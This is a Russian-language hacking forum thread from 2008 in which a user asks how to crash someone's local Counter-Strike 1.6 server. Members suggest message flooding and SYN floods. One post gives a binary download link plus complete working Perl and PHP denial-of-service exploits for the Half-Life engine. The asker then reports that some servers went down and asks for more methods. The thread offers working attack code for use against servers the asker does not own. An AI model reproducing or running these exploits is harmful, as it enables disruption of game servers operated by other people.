Завалить локальный сервак Cs

Discussion in 'Болталка' started by InfernoNet, 14 Mar 2008.

  1. InfernoNet

    InfernoNet Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    248
    Likes Received:
    228
    Reputations:
    -20
    Нужно положить в сети сервак Counter-Strike 1.6.

    Какие способы есть?
     
  2. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    Взять кувалду и разнести его!
    не слышал не об одной уязвимости в кс, их и не будет
    потому что нормальные люди такими вещами не занимаются)
    P.s^учись играть)
     
  3. InfernoNet

    InfernoNet Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    248
    Likes Received:
    228
    Reputations:
    -20
    Не буду говорить, что я профессиональный игрок, но играть умею и за раунд фраг-два уношу с собой в dead)))

    Мне просто нужно его закидать чем нибудь, чтоб он полагал хорошо или еще что.
     
  4. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    скань сервак на уязвимости(я не сказал что в винде нет уязвимостей)
    а там уже как карты лягут)
     
  5. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    один вопрос этот сервак стоит у кого то дома?
    если да то есть просто и безобидное решение
    завалить его мессагами от службы сообщений мелкомягких
    http://www.google.ru/search?aq=f&complete=1&hl=ru&newwindow=1&q=Net+Send+program&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=
    тока учти что ему будет видно твой ип
     
  6. InfernoNet

    InfernoNet Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    248
    Likes Received:
    228
    Reputations:
    -20
    А может быть есть какая-то прога, которая посылает кучу пакетов огромных и засоряет канал?
     
  7. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    Какой канал???=)
    бот сеть для тебя я думаю рановато)
     
  8. Noiro

    Noiro Banned

    Joined:
    1 Jan 2008
    Messages:
    47
    Likes Received:
    16
    Reputations:
    5
    Просто SYN-floodом его можно попробовать закидать. В локалке оно хорошо работать должно ))
     
  9. InfernoNet

    InfernoNet Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    248
    Likes Received:
    228
    Reputations:
    -20
    Прочел описание о SYN-flood'e. Звучит заманчиво.
    Какой софт использовать для этого нужно? И буду признателен, если согласишься помочь желательно через ICQ.
     
  10. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    Парни вы че????
    времена net send уже прошли давненько.....
    SYN - flood'ом ты его не завалиш с одного компа =))))))))))) да темболее фаерволы рулят (даже брендмауер)

    Ващето поиск юзать надо.....
    Бага есть и есть php скрипт и ехе фаил для ее эксплатации.....
     
  11. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    да ссори оказывается есть)))
    exe _http://rapidshare.com/files/35155810/CSHack.exe

    на перле:

    Code:
    #!/usr/bin/perl
    # Half-Life engine remote DoS exploit
    # bug found by Firestorm
    # tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux
    use IO::Socket;
    die "usage: ./csdos <host>" unless $ARGV[0];
    $host=$ARGV[0];
    
    if (fork())
    { econnect($host); }
    else
    { econnect($host); };
    exit;
    
    sub econnect($)
    {
    my $host=$_[0];
    my $sock = new
    IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
    die "Could not create socket: $!\n" unless $sock;
    $cmd="\xff\xff\xff\xff";
    syswrite $sock, $cmd."getchallenge";
    
    sysread $sock,$b,65535; print $b,"\n";
    @c=split(/ /,$b);
    
    $c2=$c[1];
    
    $q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a362 58af1bb64ed866538c9db76\"\"\\\"\0\0";
    print '>',$q,"\n";
    syswrite $sock, $q;
    sysread $sock,$b,65535; print $b,"\n";
    sleep 3;
    close $sock;
    }
    и на пхп
    Code:
    <html>
    <head>
    <title>PHP Counter Strike DOS Poc</title>
    
    <style type="text/css">
    
    input {
    width: 150px;
    }
    
    td {
    font-size: 12px;
    font-family: Verdana, "Trebuchet MS";
    text-align: left;
    }
    
    span.err {
    color: red;
    }
    
    span.ok {
    color: green;
    }
    
    </style>
    
    </head>
    
    <body onload="checkpass()">
    
    <div style="width: 210px; margin: auto;">
    <form name="csform" method="post" action="cs.php">
    
    <table border="1" align="center" cellpadding="2" cellspacing="0" style="width: 100%;">
    <tr>
    <td style="width: 50px;">Host</td>
    <td colspan="2"><input name="host" type="text" value=""/></td>
    </tr>
    
    <tr>
    <td>Port</td>
    <td colspan="2"><input name="port" type="text" value=""/></td>
    </tr>
    
    <tr>
    <td>&nbsp;</td>
    <td><input name="auth" type="checkbox" value="" style="width: 30px;"/></td>
    <td>Auth Type 2</td>
    </tr>
    
    <tr>
    <td>Pass</td>
    <td colspan="2"><input name="pass" type="text" value="" /></td>
    </tr>
    
    
    <tr>
    <td>&nbsp;</td>
    <td colspan="2"><input type="submit" Value="Run"/></td>
    </tr>
    
    
    </table> 
    <br/>
    </form>
    </div>
    <center>Written by gemaglabin.Bug was found by .FUF.Thx 2 Sax-mmS<br>
    </body>
    </html>
    
    <?php
    
    /*
    CS-dos exploit made by gemaglabin 
    Bug was discovered by .FUF # 111596 
    Big respect 2 Sax-mmS ( for html ) , Focs ( for his cs server [IMG]http://www.softoplanet.ru/style_emoticons/default/biggrin.gif[/IMG] ) , SkvoznoY , Bug(O)R,Antichat.ru and Cup.su
    underwater.cup.su
    */
    
    ini_set("display_errors","0");
    
    function HELLO_PACKET()
    {
    $packet = pack("H*","FFFFFFFF");
    $packet .= "TSource Engine Query";
    $packet .= pack("H*","00");
    return $packet;
    }
    
    function CHALLENGE_PACKET()
    {
    $packet = pack("H*","FFFFFFFF");
    $packet .= "getchallenge valve";
    $packet .= pack("H*","00");
    return $packet;
    }
    
    function LOGIN_PACKET_4()
    {
    global $cookie;
    global $password;
    $packet = pack("H*","FFFFFFFF");
    $packet .= "connect 47 ";
    $packet .= $cookie.' "';
    $packet .= '\prot\4\unique\-1\raw\valve\cdkey\d506d189cf551620a70277a3d2c55bb2" "';
    $packet .= '\_cl_autowepswitch\1\bottomcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\mod';
    $packet .= 'el\gordon\name\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
    $packet .= 'word\\'.$password;
    $packet .= pack("H*","220A0000EE02");
    return $packet;
    }
    
    function LOGIN_PACKET_2()
    {
    global $cookie;
    global $password;
    $packet = pack("H*","FFFFFFFF");
    $packet .= "connect 47 ";
    $packet .= $cookie.' "';
    $packet .= '\prot\2\raw\d506d189cf551620a70277a3d2c55bb2" "\_cl_autowepswitch\1\bott';
    $packet .= 'omcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\model\gordon\nam';
    $packet .= 'e\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
    $packet .= 'word\\'.$password;
    $packet .= pack("H*","22");
    return $packet;
    }
    
    function dowork($host,$port,$password,$auth)
    {
    global $password;
    global $cookie;
    # connecting to target host
    $fsock = fsockopen("udp://".$host,(int) $port,$errnum,$errstr,2);
    if (!$fsock) die ($errstr);
    else 
    {
    # sending hello packet
    fwrite ($fsock,HELLO_PACKET());
    fread ($fsock,100);
    # sending chalennge packet
    fwrite ($fsock,CHALLENGE_PACKET());
    # recieving cookies
    $resp = fread($fsock,100);
    # grab cookies from packet
    $cookie = substr($resp,strpos($resp,"A00000000")+10);
    $cookie = substr($cookie,0,strpos($cookie," "));
    # sending login packet
    if (!$auth) fwrite ( $fsock,LOGIN_PACKET_4());else fwrite ( $fsock,LOGIN_PACKET_2());
    $resp = fread($fsock,100);
    }
    }
    
    IF (isset($_POST['host']) && isset($_POST['port']))
    {
    IF (empty($_POST['pass'])) $password = "123";
    else $password = $_POST['pass'];
    $fserver = $_POST['host'];
    $fport = $_POST['port'];
    if (isset($_POST['auth'])) $fauth = true;else $fauth=false;
    # we have to connect 2 times
    $result = dowork($fserver,$fport,$password,$fauth);
    $result = dowork($fserver,$fport,$password,$fauth);
    # parsing result
    echo "Exploit Sent";
    }
    ?>
     
  12. InfernoNet

    InfernoNet Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    248
    Likes Received:
    228
    Reputations:
    -20
    А какой пароль то вводить надо? :)
    Мне все время выдает:
    И где можно скачать сам perl для запуска скрипта на перле?
     
    #12 InfernoNet, 15 Mar 2008
    Last edited: 15 Mar 2008
  13. Pernat1y

    Pernat1y Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    477
    Likes Received:
    79
    Reputations:
    7
    пароль игрока на подключение там по-идее
    пробуй этот http://milw0rm.org/exploits/4856
     
  14. InfernoNet

    InfernoNet Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    248
    Likes Received:
    228
    Reputations:
    -20
    При нажатие на кнопку "Run" перекидывает на главную стр.
     
  15. InfernoNet

    InfernoNet Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    248
    Likes Received:
    228
    Reputations:
    -20
    Со всем разобрался.
    Вопрос таков.
    Несколько серваков падать не хотят, есть другие варианты?
     
  16. goodkit

    goodkit Member

    Joined:
    19 May 2006
    Messages:
    160
    Likes Received:
    30
    Reputations:
    2
    Мудачьё, забанели за читы небойсь, терь надо завалить сервак! Чтоб у тя инет отвалился когда dos будешь делать! И пальцы паламать тебе надо! Одним неудачным }{@K3RROM станет меньше =/
     
  17. Pentrix

    Pentrix New Member

    Joined:
    10 Mar 2008
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
    Единственная умная фраза на весь топик)
    А автор - клоун. Юзай гугл.
     
  18. InfernoNet

    InfernoNet Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    248
    Likes Received:
    228
    Reputations:
    -20
    Убейся, я в кс редко играю. В основном в War Craft.
    А если в CS, то в source.
    А валить серваки просто интересно. Так что автар - из тебя Ванга, как из Ванги строитель.

    Если я клоун, то ты шарик от носа клоуна.
     
  19. InfernoNet

    InfernoNet Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    248
    Likes Received:
    228
    Reputations:
    -20
    Собственно по теме:
    Проюзал скрипты и прогу.
    Какие то серваки падают, а какие-то нет. Нужены еще варианты.
     
  20. LoneWolf666

    LoneWolf666 Elder - Старейшина

    Joined:
    9 Dec 2005
    Messages:
    207
    Likes Received:
    121
    Reputations:
    12
    на каких то серваках дыры есть, на каких то их закрывают, прикинь?
    гугли тулзу универсальный хек, она тебе поможет повалить всё что хочешь.
    недавно включили в неё удобную валилку кс-серваков. на ней ешё и бобла приподнять немного можно